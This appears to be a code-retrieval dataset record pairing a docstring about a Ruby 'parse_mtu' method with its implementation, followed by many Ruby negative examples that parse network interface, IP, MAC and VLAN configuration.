[ "0.6053217", "0.6040735", "0.59457344", "0.59046036", "0.5826203", "0.58006936", "0.5773785", "0.57305676", "0.5649963", "0.5592574", "0.5575048", "0.5507619", "0.54064196", "0.5401063", "0.5398586", "0.5389409", "0.5364254", "0.5356258", "0.53556997", "0.5339391", "0.53328377", "0.5326106", "0.5324188", "0.53227955", "0.5318931", "0.53083336", "0.5296823", "0.5289528", "0.52885556", "0.5278211", "0.5259129", "0.5259128", "0.5259128", "0.524987", "0.52424926", "0.5232484", "0.5224896", "0.5224788", "0.52076435", "0.52054375", "0.5184984", "0.51814145", "0.51742357", "0.5172094", "0.51485014", "0.5138055", "0.5136139", "0.5126086", "0.51220655", "0.51207703", "0.51135534", "0.50932753", "0.5081756", "0.5078641", "0.5056121", "0.5045313", "0.50402534", "0.5038906", "0.50375515", "0.50063336", "0.50005776", "0.49991083", "0.4992786", "0.49885634", "0.49844658", "0.49835935", "0.49729493", "0.4971289", "0.4971289", "0.49700835", "0.49667647", "0.4959097", "0.49522972", "0.49472082", "0.49471268", "0.49436352", "0.49412504", "0.49412504", "0.49401954", "0.4934958", "0.49348387", "0.4932065", "0.49307656", "0.49280536", "0.4915808", "0.49133366", "0.49133366", "0.49049896", "0.49040323", "0.49031937", "0.4897614", "0.489444", "0.48825756", "0.4873604", "0.48724824", "0.48703513", "0.4865249", "0.48622578", "0.48622578", "0.4846956" ]
0.7636915
0
parse_mtu scans the provided configuration block and extracts the IP interface MTU value. The MTU value is expected to always be present in the configuration blcok. The return value is intended to be merged into the ipaddress resource hash.
def parse_mtu(config) mdata = /(?<=mtu\s)(\d+)$/.match(config) { mtu: mdata.nil? ? '' : mdata[1] } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def SetMtu(node)\n\t@interfaces.each do |ifn|\n\t self.GetGroupInterface(node, ifn).mtu=\"1528\"\n\tend\n end", "def set_mtu(name, opts = {})\n cmds = command_builder('mtu', opts)\n configure_interface(name, cmds)\n end", "def wn_dmtu\n get_link(link='dmtu')\n end", "def mtu\n super\n end", "def mtu\n super\n end", "def mtu\n super\n end", "def parse_address(config)\n mdata = /(?<=^\\s{3}ip\\saddress\\s)(.+)$/.match(config)\n { address: mdata.nil? ? DEFAULT_ADDRESS : mdata[1] }\n end", "def parse_udp_port(config)\n value = config.scan(/(?<=vxlan udp-port )\\d+/)\n { udp_port: value.first.to_i }\n end", "def set_mtu(opts)\n opts = check_params(opts,[:mtus])\n super(opts)\n end", "def set_mtu(opts)\n opts = check_params(opts,[:mtus])\n super(opts)\n end", "def parse_lacp_timeout(config)\n mdata = /lacp fallback timeout (\\d+)$/.match(config)\n return { lacp_timeout: [] } unless defined? mdata[1]\n { lacp_timeout: mdata[1] }\n end", "def get_macaddr\n currentEth = currentAddr = nil; macaddrs = {}\n `ifconfig`.split(\"\\n\").map! do |line|\n maybeEth = line.match(/([a-z]+[0-9]+): .*/)\n currentEth = maybeEth[1].strip if !maybeEth.nil?\n maybeAddr = line.match(/ether ([0-9 A-Ea-e \\:]+)/)\n currentAddr = maybeAddr[1].strip if !maybeAddr.nil?\n if currentEth != nil && currentAddr != nil\n macaddrs[currentEth] = currentAddr\n currentEth = currentAddr = nil\n end\n end\n macaddrs\nend", "def parse_global_timeout\n timeout = config.scan(/tacacs-server timeout (\\d+)/).first\n { timeout: timeout.first.to_i }\n end", "def parse_ip_configuration(ip_configuration)\n config = {\n 'name' => ip_configuration.name,\n 'primary' => ip_configuration.primary,\n 'private_ipaddress' => ip_configuration.private_ipaddress,\n 'public_ipaddress' => {\n 'attached' => !ip_configuration.public_ipaddress.nil?,\n },\n }\n\n # if there is a public IP address attached get its details\n if config['public_ipaddress']['attached']\n\n # Get the name of the resource group and the name of the NIC\n # This is required as the card might be in a different resource group\n public_ip_raw = ip_configuration.public_ipaddress.id.split(%r{/})\n public_ip_resource_group_name = public_ip_raw[4]\n public_ip_name = public_ip_raw.last\n\n # Interrogate Azure for the NIC details\n public_ip = helpers.network_mgmt.client.public_ipaddresses.get(public_ip_resource_group_name, public_ip_name)\n\n # update the config with the information about the public IP if public dns settings are available\n if !public_ip.dns_settings.nil?\n config['public_ipaddress']['domain_name_label'] = public_ip.dns_settings.domain_name_label\n config['public_ipaddress']['dns_fqdn'] = public_ip.dns_settings.fqdn\n else\n config['public_ipaddress']['domain_name_label'] = nil\n config['public_ipaddress']['dns_fqdn'] = nil\n end\n end\n\n # return object\n config\n end", "def ip_to_ban_size(ip)\n return @cfg['ban_prefix_size'] == 4 ? ip : ip.split('.')[0..@cfg['ban_prefix_size']-1].join('.')+'.'\n end", "def bootstrap_ip_timeout(bootstrap_options)\n if bootstrap_options.key?(:ipv4_timeout)\n return bootstrap_options[:ipv4_timeout].to_i\n end\n 30\n end", "def detect_ip\n mac = vm_info['VM']['TEMPLATE']['NIC']['MAC']\n 20.times do\n debug 'Trying to get IP...'\n out = `echo '#{config[:local_sudo_pass]}' | sudo -S nmap -sP -n 153.15.248.0/21`\n out = out.lines\n index = out.find_index { |s| s =~ /.*#{mac}.*/i }\n if index\n return out.to_a[index - 2].scan(/[0-9]+\\.[0-9]+\\.[0-9]+\\.[0-9]+/)[0]\n end\n end\n warn \"Can't locate VM ip\"\n nil\n end", "def parse_networks(config)\n networks = []\n lines = config.scan(%r{network (.+)/(\\d+)(?: route-map (\\w+))*})\n lines.each do |prefix, mask, rmap|\n rmap = rmap == '' ? nil : rmap\n networks << { prefix: prefix, masklen: mask.to_i, route_map: rmap }\n end\n { networks: networks }\n end", "def read_mac_address\n execute(\"showvminfo\", @uuid, \"--machinereadable\").split(\"\\n\").each do |line|\n return $1.to_s if line =~ /^macaddress1=\"(.+?)\"$/\n end\n\n nil\n end", "def interfaces\n iflist = `ifconfig | egrep \"^[a-z0-9]+:\" | awk '{print $1}' | sed 's/://'`.split\n interfaces = Hash.new\n interfaces['carp'] = []; interfaces['logical'] = []; interfaces['pfsync'] = []; interfaces['tunnel'] = []\n interfaces['vlan'] = []; interfaces['trunk'] = []; interfaces['physical'] = []\n\n iflist.each do |interface|\n ifconfig = `ifconfig #{interface}`\n iface = Hash.new\n iface['ip'] = Array.new\n iface['name'] = interface\n\n ifconfig.each do |line|\n case\n when line =~ /flags=\\d+\\<(.*)\\>\\s+mtu\\s+([0-9]+)/\n iface['mtu'] = $2\n iface['flags'] = $1.split(\",\")\n iface[\"up?\"] = iface['flags'].to_a.include?(\"UP\") ? \"up\" : \"down\"\n when line =~ /^\\s*media:\\s+(.*)/\n iface['media'] = $1\n when line =~ /lladdr\\s+(.*)/\n iface['lladdr'] = $1\n when line =~ /description: (.*)/\n iface['description'] = $1\n when line =~ /^\\s+inet ([0-9\\.]+) netmask ([0-9\\.a-fx]+) broadcast ([0-9\\.])/\n ip_address = $1\n broadcast = $3\n $2 =~ /(0x..)(..)(..)(..)/\n netmask = $1.hex.to_s + \".\" + $2.hex.to_s + \".\" + $3.hex.to_s + \".\" + $4.hex.to_s\n \n # Add a nice (dhcp) tag if the address has been given using dhcp\n ip_address += \" (dhcp)\" if `ps -ax | egrep \"dhclient: #{iface['name']} \" | grep -v grep | wc -l`.to_i > 0\n iface['ip'] << { \"address\" => ip_address, \"netmask\" => netmask, \"broadcast\" => broadcast }\n end\n end\n\n case iface['name']\n when /^carp/ then interfaces['carp'] << iface\n when /^(tun|gif)/ then interfaces['tunnel'] << iface\n when /^(enc|pflog|lo)[0-9]+/ then interfaces['logical'] << iface\n when /^pfsync/ then interfaces['pfsync'] << iface\n when /^vlan/ then interfaces['vlan'] << iface\n when /^trunk/ then interfaces['trunk'] << iface\n else interfaces['physical'] << iface\n end\n end\n interfaces\n end", "def ip\n if ifconfig =~ /inet addr:([0-9.]+)/\n $1\n else\n \"0.0.0.0\"\n end\n end", "def from_dhcp_info(dhcp_info)\n info = Hash[dhcp_info.split(\"\\n\").map { |line|\n line.split(':', 2).map(&:strip)\n }]\n\n self.ip = info['IP']\n self.netmask = info['NetworkMask']\n self.start_ip = info['lowerIPAddress']\n self.end_ip = info['upperIPAddress']\n\n info['NetworkName']\n end", "def parse(input)\n taglists = []\n config_hash = {}\n file_hash = {}\n\n input = input.split(\"\\n\")\n section = ''\n input.each do |value|\n if value.match?(%r{^\\[.*\\]})\n section = value.delete('[').delete(']')\n file_hash[section.to_sym] = []\n elsif !value.strip.empty?\n if value.match?(%r{^\\s*#})\n # do nothing as this is a comment\n elsif section && (section != '')\n file_hash[section.to_sym] << value\n else\n raise Puppet::Error, 'Malformed tagmail.conf file'\n end\n end\n end\n\n file_hash[:transport]&.each do |value|\n array = value.split('=')\n array.map(&:strip!)\n config_hash[array[0].to_sym] = array[1]\n end\n\n if file_hash[:tagmap]\n tagmap = file_hash[:tagmap].join(\"\\n\")\n taglists = parse_tagmap(tagmap)\n end\n\n config_hash = load_defaults(config_hash)\n self.class.instance_variable_set(:@tagmail_conf, config_hash)\n taglists\n end", "def get_ip(node)\n return node['network_adapters'].select { |n|\n n['mounted'] && n['device'] =~ /eth/\n }[0]['ip']\nend", "def read_machine_ip(machine)\n machine.config.vm.networks.each do |type, options|\n if type == :private_network && options[:ip].is_a?(String)\n return options[:ip]\n end\n end\n\n nil\n end", "def getMAC(interface)\n cmd = `ifconfig #{interface}`\n mac = cmd.match(/(([A-F0-9]{2}:){5}[A-F0-9]{2})/i).captures\n @log.debug \"MAC of interface '#{interface}' is: #{mac.first}\"\n return mac.first\n end", "def device_ipaddress; end", "def device_ipaddress; end", "def parse_remote_ip\n @config ||= parse_configuration(\".git/config\")\n @remote_ip ||= $2 if @config[\"remote\"][\"webbynode\"][\"url\"] =~ /^(\\w+)@(.+):(.+)$/\n end", "def tag_response_timeout\n limits_yaml = YAML.load_data!(\"#{ECON_DATA_PATH}/limits.yml\")\n return limits_yaml['tag_response_timeout']\n end", "def pull_config\n output = VirtualBox.run_command! ['VBoxManage', '--nologo', 'showvminfo',\n '--machinereadable', uid]\n config = self.class.parse_machine_readable output\n \n self.name = config['name']\n self.uid = config['UUID']\n board.from_params config\n \n nic_count = config.keys.select { |key| /^nic\\d+$/ =~ key }.max[3..-1].to_i\n 1.upto nic_count do |index|\n if config[\"nic#{index}\"] == 'none'\n nics[index - 1] = nil\n else\n nics[index - 1] ||= VirtualBox::Vm::Nic.new\n nics[index - 1].from_params config, index\n end\n end\n\n bus_count = 1 + (config.keys.select { |key|\n /^storagecontrollername\\d+$/ =~ key\n }.max || \"storagecontrollername-1\")[21..-1].to_i\n 0.upto bus_count - 1 do |index|\n io_buses[index] ||= VirtualBox::Vm::IoBus.new\n io_buses[index].from_params config, index\n end\n \n self\n end", "def id\n m = /ether\\s+(\\S+)/.match(`ifconfig wlan0`)\n return nil if m.nil?\n mac = m[1] # WLAN mac address\n return nil if mac.nil?\n MAC2ID[mac.downcase]\n end", "def ip_address\n raise ::Fission::Error,\"VM #{@name} does not exist\" unless self.exists?\n\n unless mac_address.nil?\n lease=LeasesFile.new(\"/var/db/vmware/vmnet-dhcpd-vmnet8.leases\").find_lease_by_mac(mac_address)\n if lease.nil?\n return nil\n else\n return lease.ip\n end\n else\n # No mac address was found for this machine so we can't calculate the ip-address\n return nil\n end\n end", "def parse_banners(config)\n motd_value = login_value = ''\n entries = config.scan(@banners_re)\n entries.each do |type, value|\n if type == 'motd'\n motd_value = value\n elsif type == 'login'\n login_value = value\n end\n end\n { banner_motd: motd_value, banner_login: login_value }\n end", "def get_config_ad_units_for_url(url = chorus_url)\n configuration = YAML.load_file(@config_path)\n ad_units_for_url = configuration['ad_units'].select do |ad_config|\n # Pattern to normalize leadin/trailing\n # regular exp slashes in config\n # http://rubular.com/r/XXVRCayQvK\n !(Regexp.new(ad_config['url_pattern'].to_s.gsub(/^\\/|\\/$/,'')) =~ url).nil?\n end\n\n ad_units_for_url.map do |ad_unit|\n ad_unit['html'].gsub!('\"','\\\"')\n ad_unit\n end\n end", "def mac_address\n mac = nil\n\n ovf.elements.each(\"//vbox:Machine/Hardware//Adapter\") do |ele|\n if ele.attributes['enabled'] == 'true'\n mac = ele.attributes['MACAddress']\n break\n end\n end\n\n if mac\n return mac\n else\n raise Errors::BoxAttributeError, :error_message => 'Could not determine mac address'\n end\n end", "def parse_maximum_paths(config)\n values = config.scan(/maximum-paths\\s+(\\d+)\\s+ecmp\\s+(\\d+)/).first\n { maximum_paths: values[0].to_i, maximum_ecmp_paths: values[1].to_i }\n end", "def tag_content_max_length\n limits_yaml = YAML.load_data!(\"#{ECON_DATA_PATH}/limits.yml\")\n return limits_yaml['tag_content_max_length']\n end", "def process_xml_elem(elem, timeout: \"60\")\n response = self.post_elem(elem, timeout: timeout)\n if response.error_code != 0\n raise ImcException.new(response.error_code, response.error_descr)\n end\n if response.is_outconfig_available()\n return response.get_outconfig_child()\n else\n return response\n end\n end", "def ipaddress\n config[\"ipaddress\"]\n end", "def ethernet_offload_parameters(iface)\n return iface unless ethtool_binary_path\n\n iface.each_key do |tmp_int|\n next unless iface[tmp_int][:encapsulation] == \"Ethernet\"\n\n so = shell_out(\"#{ethtool_binary_path} -k #{tmp_int}\")\n Ohai::Log.debug(\"Plugin Network: Parsing ethtool output: #{so.stdout}\")\n iface[tmp_int][\"offload_params\"] = {}\n so.stdout.lines.each do |line|\n next if line.start_with?(\"Features for\")\n next if line.strip.nil?\n\n key, val = line.split(/:\\s+/)\n if val\n offload_key = key.downcase.strip.tr(\" \", \"_\").to_s\n iface[tmp_int][\"offload_params\"][offload_key] = val.downcase.gsub(/\\[.*\\]/, \"\").strip.to_s\n end\n end\n end\n iface\n end", "def ethernet_ring_parameters(iface)\n return iface unless ethtool_binary_path\n\n iface.each_key do |tmp_int|\n next unless iface[tmp_int][:encapsulation] == \"Ethernet\"\n\n so = shell_out(\"#{ethtool_binary_path} -g #{tmp_int}\")\n logger.trace(\"Plugin Network: Parsing ethtool output: #{so.stdout}\")\n type = nil\n iface[tmp_int][\"ring_params\"] = {}\n so.stdout.lines.each do |line|\n next if line.start_with?(\"Ring parameters for\")\n next if line.strip.nil?\n\n if line.include?(\"Pre-set maximums\")\n type = \"max\"\n next\n end\n if line.include?(\"Current hardware settings\")\n type = \"current\"\n next\n end\n key, val = line.split(/:\\s+/)\n if type && val\n ring_key = \"#{type}_#{key.downcase.tr(\" \", \"_\")}\"\n iface[tmp_int][\"ring_params\"][ring_key] = val.to_i\n end\n end\n end\n iface\n end", "def parse!\n self.interface_stats = Hash.new { |hash,key| hash[key] = {} }\n \n interface_names = Hash[self.raw_output.scan(/IF-MIB::ifDescr.(\\d+) = STRING: (\\w+)/m)]\n interface_types = Hash[self.raw_output.scan(/IF-MIB::ifType.(\\d+) = INTEGER: ([a-zA-Z0-9\\(\\)]+)/)]\n mac_addresses = Hash[self.raw_output.scan(/IF-MIB::ifPhysAddress.(\\d+) = STRING: ([0-9a-f:]+)/)]\n \n link_states = Hash[self.raw_output.scan(/IF-MIB::ifOperStatus.(\\d+) = INTEGER: (\\w+)\\(\\d\\)/)]\n octets_in = Hash[self.raw_output.scan(/IF-MIB::ifInOctets.(\\d+) = Counter32: (\\d+)/)]\n octets_out = Hash[self.raw_output.scan(/IF-MIB::ifOutOctets.(\\d+) = Counter32: (\\d+)/)]\n errors_in = Hash[self.raw_output.scan(/IF-MIB::ifInErrors.(\\d+) = Counter32: (\\d+)/)]\n errors_out = Hash[self.raw_output.scan(/IF-MIB::ifOutErrors.(\\d+) = Counter32: (\\d+)/)]\n \n interface_names.keys.each do |index|\n self.interface_stats[index][:name] = interface_names[index]\n self.interface_stats[index][:type] = interface_types[index]\n self.interface_stats[index][:mac] = mac_addresses[index]\n self.interface_stats[index][:in] = octets_in[index].to_i\n self.interface_stats[index][:out] = octets_out[index].to_i\n self.interface_stats[index][:errors_in] = errors_in[index].to_i\n self.interface_stats[index][:errors_out] = errors_out[index].to_i\n self.interface_stats[index][:up] = link_states[index] == \"up\"\n end\n \n self.interface_stats\n end", "def intface_info\n Socket.getifaddrs.map do |iface|\n next unless iface.addr.ipv4?\n\n p iface.netmask\n end\nend", "def configured_management_ip_information\n if management_ip_static_configured?\n match_data = running_config.match(%r{interface ManagementEthernet \\d+/\\d+.*?\\s+ip address\\s+(\\d+.\\d+.\\d+.\\d+)\\/(\\d+)})\n [match_data[1], match_data[2]]\n end\n end", "def address\n return @mac_address if defined? @mac_address and @mac_address\n re = %r/[^:\\-](?:[0-9A-F][0-9A-F][:\\-]){5}[0-9A-F][0-9A-F][^:\\-]/io\n cmds = '/sbin/ifconfig', '/bin/ifconfig', 'ifconfig', 'ipconfig /all', 'cat /sys/class/net/*/address'\n\n null = test(?e, '/dev/null') ? '/dev/null' : 'NUL'\n\n output = nil\n cmds.each do |cmd|\n begin\n r, w = IO.pipe\n ::Process.waitpid(spawn(cmd, :out => w))\n w.close\n stdout = r.read\n next unless stdout and stdout.size > 0\n output = stdout and break\n rescue\n # go to next command!\n end\n end\n raise \"all of #{ cmds.join ' ' } failed\" unless output\n\n @mac_address = parse(output)\n end", "def parse_config(config); end", "def tinc_subnet\n if CloudModel.config.tinc_network\n NetAddr.parse_net(CloudModel.config.tinc_network).netmask.to_s.gsub(/^\\//, '').to_i\n else\n 16\n end\n end", "def parse_range r\n if m = $IPA.match(r)\n a = digits_to_int m[1], 0, 0, 0\n b = digits_to_int m[1], 255, 255, 255\n elsif m = $IPB.match(r)\n a = digits_to_int m[1], m[2], 0, 0\n b = digits_to_int m[1], m[2], 255, 255\n elsif m = $IPC.match(r)\n a = digits_to_int m[1], m[2], m[3], 0\n b = digits_to_int m[1], m[2], m[3], 255\n elsif m = $IPD.match(r)\n a = digits_to_int m[1], m[2], m[3], m[4]\n b = a\n elsif m = $IPRANGE.match(r)\n a = digits_to_int m[1], m[2], m[3], m[4]\n b = digits_to_int m[5], m[6], m[7], m[8]\n elsif m = $CIDR.match(r)\n ip = digits_to_int m[1], m[2], m[3], m[4]\n bits = m[5].to_i\n lobits = (2 ** (32-bits)) - 1\n hibits = (0xffffffff) ^ lobits\n\n a = ip & hibits\n b = a | lobits\n else\n raise \"can't parse IP range #{r.inspect}\"\n end\n [a, b]\nend", "def ip_v6_cidr; end", "def genConf\n conf=\"auto #{@device}\\n\"\n if (ip != nil && netmask != nil)\n conf+=%(iface #{@device} inet static\n address #{@ip}\n netmask #{@netmask}\n)\n else\n conf+=\"iface #{@device} inet dhcp\\n\"\n end\n end", "def parse_padding\n begin\n @padding['block_size'] = @fp.read(3).unpack(\"B*\")[0].to_i(2)\n @padding['offset'] = @fp.tell\n\n @metadata_blocks[-1] << @padding['offset']\n @metadata_blocks[-1] << @padding['block_size']\n\n @fp.seek(@padding['block_size'], IO::SEEK_CUR)\n rescue\n raise FlacInfoReadError, \"Could not parse METADATA_BLOCK_PADDING\"\n end\n end", "def getNetwork(interface)\n net = Nokogiri::XML(\"#{interface}\").xpath(\"//ip\")\n if !net.empty?\n ip = net.attr('address').value\n netmask = net.attr('netmask').value\n end\n return ip, netmask\n end", "def parse(data)\n super data\n @ip_address = data[0..3].to_ip\n @subnet_mask = data[4..7].to_ip\n @standard_gateway = data[8..11].to_ip\n end", "def mac_address\n mac = nil\n\n ovf.xpath(\"//*[local-name()='Machine']/*[local-name()='Hardware']/*[local-name()='Network']/*[local-name()='Adapter']\").each do |net|\n if net.attribute(\"enabled\").value == \"true\"\n mac = net.attribute(\"MACAddress\").value\n break\n end\n end\n\n if mac\n return mac\n else\n fail Errors::BoxAttributeError, error_message: 'Could not determine mac address'\n end\n end", "def calculate_add_nic_spec(nic, unumber = nil)\n mac = nic['MAC']\n pg_name = nic['BRIDGE']\n default =\n VCenterDriver::VIHelper\n .get_default(\n 'VM/TEMPLATE/NIC/MODEL'\n )\n tmodel = one_item['USER_TEMPLATE/NIC_DEFAULT/MODEL']\n\n # got the model of the nic, first try to get the model\n # inside the nic, then the model defined by user and\n # last option model by default in vCenter Driver\n model = nic['MODEL'] || tmodel || default\n raise 'nic model cannot be empty!' if model == ''\n\n vnet_ref = nic['VCENTER_NET_REF']\n backing = nil\n\n # Maximum bitrate for the interface in kilobytes/second\n # for inbound traffic\n limit_in =\n nic['INBOUND_PEAK_BW'] ||\n VCenterDriver::VIHelper.get_default(\n 'VM/TEMPLATE/NIC/INBOUND_PEAK_BW'\n )\n # Maximum bitrate for the interface in kilobytes/second\n # for outbound traffic\n limit_out =\n nic['OUTBOUND_PEAK_BW'] ||\n VCenterDriver::VIHelper.get_default(\n 'VM/TEMPLATE/NIC/OUTBOUND_PEAK_BW'\n )\n limit = nil\n\n if limit_in && limit_out\n limit=([limit_in.to_i, limit_out.to_i].min / 1024) * 8\n end\n\n # Average bitrate for the interface in kilobytes/second\n # for inbound traffic\n rsrv_in =\n nic['INBOUND_AVG_BW'] ||\n VCenterDriver::VIHelper.get_default(\n 'VM/TEMPLATE/NIC/INBOUND_AVG_BW'\n )\n # Average bitrate for the interface in kilobytes/second\n # for outbound traffic\n rsrv_out =\n nic['OUTBOUND_AVG_BW'] ||\n VCenterDriver::VIHelper.get_default(\n 'VM/TEMPLATE/NIC/OUTBOUND_AVG_BW'\n )\n rsrv = nil\n\n if rsrv_in || rsrv_out\n rsrv=([rsrv_in.to_i, rsrv_out.to_i].min / 1024) * 8\n end\n\n # get the network with ref equal to vnet_ref or\n # with name equal to pg_name\n network = self['runtime.host'].network.select do |n|\n n._ref == vnet_ref || n.name == pg_name\n end\n network = network.first\n\n unless network\n raise \"#{pg_name} not found in #{self['runtime.host'].name}\"\n end\n\n # start in one, we want the next avaliable id\n card_num = 1\n @item['config.hardware.device'].each do |dv|\n card_num += 1 if VCenterDriver::Network.nic?(dv)\n end\n\n nic_card = Nic.nic_model_class(model)\n\n if network.class == RbVmomi::VIM::Network\n backing = RbVmomi::VIM.VirtualEthernetCardNetworkBackingInfo(\n :deviceName => pg_name,\n :network => network\n )\n elsif network.class == RbVmomi::VIM::DistributedVirtualPortgroup\n port = RbVmomi::VIM::DistributedVirtualSwitchPortConnection(\n :switchUuid =>\n network.config.distributedVirtualSwitch.uuid,\n :portgroupKey => network.key\n )\n backing =\n RbVmomi::VIM\n .VirtualEthernetCardDistributedVirtualPortBackingInfo(\n :port => port\n )\n elsif network.class == RbVmomi::VIM::OpaqueNetwork\n backing =\n RbVmomi::VIM\n .VirtualEthernetCardOpaqueNetworkBackingInfo(\n :opaqueNetworkId =>\n network.summary.opaqueNetworkId,\n :opaqueNetworkType =>\n 'nsx.LogicalSwitch'\n )\n else\n raise 'Unknown network class'\n end\n\n # grab the last unitNumber to ensure the nic to be added at the end\n if !unumber\n @unic = @unic || vcenter_nics_list.map do |d|\n d.unitNumber\n end.max || 0\n unumber = @unic += 1\n else\n @unic = unumber\n end\n\n card_spec = {\n :key => 0,\n :deviceInfo => {\n :label => 'net' + card_num.to_s,\n :summary => pg_name\n },\n :backing => backing,\n :addressType => mac ? 'manual' : 'generated',\n :macAddress => mac,\n :unitNumber => unumber\n }\n if @vi_client.vim.serviceContent.about.apiVersion.to_f >= 7.0\n card_spec[:key] = Time.now.utc.strftime('%m%d%M%S%L').to_i\n end\n\n if (limit || rsrv) && (limit > 0)\n ra_spec = {}\n rsrv = limit if rsrv > limit\n # The bandwidth limit for the virtual network adapter. The\n # utilization of the virtual network adapter will not exceed\n # this limit, even if there are available resources. To clear\n # the value of this property and revert it to unset, set the\n # vaule to \"-1\" in an update operation. Units in Mbits/sec\n ra_spec[:limit] = limit if limit\n # Amount of network bandwidth that is guaranteed to the virtual\n # network adapter. If utilization is less than reservation, the\n # resource can be used by other virtual network adapters.\n # Reservation is not allowed to exceed the value of limit if\n # limit is set. Units in Mbits/sec\n ra_spec[:reservation] = rsrv if rsrv\n # Network share. The value is used as a relative weight in\n # competing for shared bandwidth, in case of resource contention\n ra_spec[:share] =\n RbVmomi::VIM.SharesInfo(\n {\n :level => RbVmomi::VIM.SharesLevel('normal'),\n :shares => 0\n }\n )\n card_spec[:resourceAllocation] =\n RbVmomi::VIM.VirtualEthernetCardResourceAllocation(\n ra_spec\n )\n end\n\n {\n :operation => :add,\n :device => nic_card.new(card_spec)\n }\n end", "def get_ip(node)\n node['network_adapters'].each { |device, network_adapter|\n if network_adapter['mounted'] && /^eth[0-9]$/.match(device)\n return network_adapter['ip']\n end\n }\nend", "def bcast_info\n Socket.getifaddrs.map do |iface|\n next unless iface.addr.ipv4?\n\n output = iface.name + ':' + iface.inspect\n int = ('Address:' + ' ' + output.split[1] + ' ' + output.split[3..4].to_s)\n puts int.gsub('?', '0')\n end\nend", "def device_ipaddress=(_arg0); end", "def device_ipaddress=(_arg0); end", "def ip_by_interface(int)\n return `ifconfig #{int} | awk '/inet addr/ {split ($2,A,\":\"); print A[2]}'`.chomp\n end", "def dhcp_attrs\n return unless dhcp?\n dhcp_attr = { :name => name, :filename => operatingsystem.boot_filename(self),\n :ip => ip, :mac => mac, :hostname => hostname, :proxy => subnet.dhcp_proxy,\n :network => subnet.network, :nextServer => boot_server }\n\n if jumpstart?\n jumpstart_arguments = os.jumpstart_params self, model.vendor_class\n dhcp_attr.merge! jumpstart_arguments unless jumpstart_arguments.empty?\n end\n dhcp_attr\n end", "def process_interfaces(int)\n\n # if unit is not the 4th field then this specified interface settings we don't care about\n # return to main to receive the next line or to move on to another method\n return if int.at(3) != :unit\n\n # if the primary interface (not unit) has not already been added as a key to the hash\n # go ahead and add it. Otherwise continue to process unit values.\n unless $h_interfaces.has_key?(int.at(2))\n $h_interfaces[int.at(2)] = Hash.new\n end\n\n unless $h_interfaces[int.at(2)].has_key?(int.at(4))\n $h_interfaces[int.at(2)][int.at(4)] = {\\\n :description => nil, \\\n :'address_v4_primary' => nil,\\\n :'ipv4_input_filter' => nil,\\\n :'ipv4_output_filter' => nil,\\\n :'address_v6_primary' => nil,\\\n :'ipv6_input_filter' => nil,\\\n :'ipv6_output_filter' => 'nil',\\\n :vlan => nil,\\\n :vrrp => Hash.new}\n\n $interface_count += 1\n end\n\n # IP address info\n if (int.at(6) == :inet && int.at(7) == :address) && (int.at(9) == :primary || int.at(9) == nil)\n $h_interfaces[int.at(2)][int.at(4)][:'address_v4_primary'] = int.at(8)\n end\n if (int.at(6) == :inet6 && int.at(7) == :address) && (int.at(9) == :primary || int.at(9) == nil)\n $h_interfaces[int.at(2)][int.at(4)][:'address_v6_primary'] = int.at(8)\n end\n\n # Set Interface Description\n $h_interfaces[int.at(2)][int.at(4)][:description] = int.at(6) if int.at(5) == :description\n\n # Set vlan-id\n $h_interfaces[int.at(2)][int.at(4)][:vlan] = int.at(6) if int.at(5) == :'vlan-id'\n\n # Set input/output filters\n if int.at(6) == :inet && int.at(7) == :filter && int.at(8) == :input\n $h_interfaces[int.at(2)][int.at(4)][:ipv4_input_filter] = int.at(9)\n $ipv4_uniq_inputfilter_count << int.at(9)\n end\n if int.at(6) == :inet && int.at(7) == :filter && int.at(8) == :output\n $h_interfaces[int.at(2)][int.at(4)][:ipv4_output_filter] = int.at(9)\n $ipv4_uniq_outputfilter_count << int.at(9)\n end\n if int.at(6) == :inet6 && int.at(7) == :filter && int.at(8) == :input\n $h_interfaces[int.at(2)][int.at(4)][:ipv6_input_filter] = int.at(9)\n $ipv6_uniq_inputfilter_count << int.at(9)\n end\n if int.at(6) == :inet6 && int.at(7) == :filter && int.at(8) == :output\n $h_interfaces[int.at(2)][int.at(4)][:ipv6_output_filter] = int.at(9)\n $ipv6_uniq_outputfilter_count << int.at(9)\n end\n\n # VRRP Detail\n if int.at(9) == :'vrrp-group'\n unless $h_interfaces[int.at(2)][int.at(4)][:vrrp].has_key?(int.at(10))\n $h_interfaces[int.at(2)][int.at(4)][:vrrp][int.at(10)] = {\\\n :'virtual-address' => nil,\\\n :'intf-address' => nil,\\\n :priority => nil,\\\n :'advertise-interval' => nil,\\\n :preempt => nil,\\\n :'accept-data' => nil,\\\n :'authentication-type' => nil,\\\n :'authentication-key' => nil }\n\n $vrrp_group_count += 1\n end\n\n $h_interfaces[int.at(2)][int.at(4)][:vrrp][int.at(10)][:'intf-address'] = int.at(8)\n\n # For other interface parameters, add a key for each under the interface/unit array\n case int.at(11)\n when :'virtual-address'\n $h_interfaces[int.at(2)][int.at(4)][:vrrp][int.at(10)][:'virtual-address'] = int.at(12)\n when :priority\n $h_interfaces[int.at(2)][int.at(4)][:vrrp][int.at(10)][:priority] = int.at(12)\n when :'advertise-interval'\n $h_interfaces[int.at(2)][int.at(4)][:vrrp][int.at(10)][:'advertise-interval'] = int.at(12)\n when :preempt\n $h_interfaces[int.at(2)][int.at(4)][:vrrp][int.at(10)][:preempt] = :true\n when :'accept-data'\n $h_interfaces[int.at(2)][int.at(4)][:vrrp][int.at(10)][:'accept-data'] = :true\n when :'authentication-type'\n $h_interfaces[int.at(2)][int.at(4)][:vrrp][int.at(10)][:'authentication-type'] = int.at(12)\n when :'authentication-key'\n $h_interfaces[int.at(2)][int.at(4)][:vrrp][int.at(10)][:'authentication-key'] = int.at(12)\n end\n\n end\n\nend", "def iptonum(ip) #:nodoc:\n if (ip.kind_of?(String) &&\n ip =~ /^([0-9]+)\\.([0-9]+)\\.([0-9]+)\\.([0-9]+)$/)\n ip = be_to_ui(Regexp.last_match().to_a.slice(1..4))\n else\n ip = ip.to_i\n end\n\n return ip\n end", "def get_my_ip2\n asset = Asset.find_by_name(params['hostname'])\n\n intCnt = 1\n @o = \"#!/bin/bash\\n\"\n @o += \"OUTDIR=/tmp\\n\"\n @o += \"if [ -z $ETHNAME ]; then echo 'Set ETHNAME to eth or em first'; exit 1; fi\\n\"\n if ! asset.nil?\n asset.non_drac_interfaces.each { |i|\n interface = Hash.new()\n cidr = NetAddr::CIDR.create(i.vlan_detail.subnet)\n if i == asset.primary_interface\n @o += 